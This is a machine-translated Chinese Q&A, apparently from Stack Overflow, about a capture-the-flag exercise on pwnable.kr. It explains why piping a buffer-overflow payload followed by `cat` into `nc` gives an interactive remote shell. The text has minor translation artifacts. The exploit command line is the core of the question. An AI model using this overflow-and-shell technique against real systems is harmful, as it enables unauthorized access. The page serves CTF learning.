为什么“(echo <Payload> && cat) | nc <link> <port>”会创建持久连接?

Why does "(echo <Payload> && cat) | nc <link> <port>" creates a persistent connection?

我开始玩 ctfs 挑战,我遇到了一个问题,我需要将漏洞利用程序发送到二进制文件中,然后与生成的 shell 进行交互。 我找到了解决这个问题的方法,看起来像这样:

(echo -ne "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\xbe\xba\xfe\xca" && cat) | nc pwnable.kr 9000

含义: 没有“cat”子命令,我无法与 shell 交互,但有了它,我现在可以将命令发送到生成的 shell 并将返回的输出发送到我的控制台标准输出。

那里究竟发生了什么?这个命令行让我感到困惑

如果您只是在命令行输入 cat,您将能够看到该命令一次只是将 stdin 复制到 stdout 一行。它将继续执行此操作,直到您使用 Ctrl-C 退出或使用 Ctrl-D.[=19 发送 EOF =]

在此示例中,您在成功打印有效负载后立即 运行ning cat(连接器 && 告诉 shell 到 运行仅当第一个命令的退出代码为零时才执行第二个命令;即没有错误)。因此,在您如上所述终止远程终端之前,远程终端不会看到 EOF。当它通过管道传输到 nc 时,您输入的所有内容都会通过 cat 发送到远程服务器,并且它发回的所有内容都会显示在您的 stdout.

所以是的,实际上您最终得到了一个交互式 shell。您可以通过 运行ning cat | sh.

在您自己的机器上获得几乎相同的效果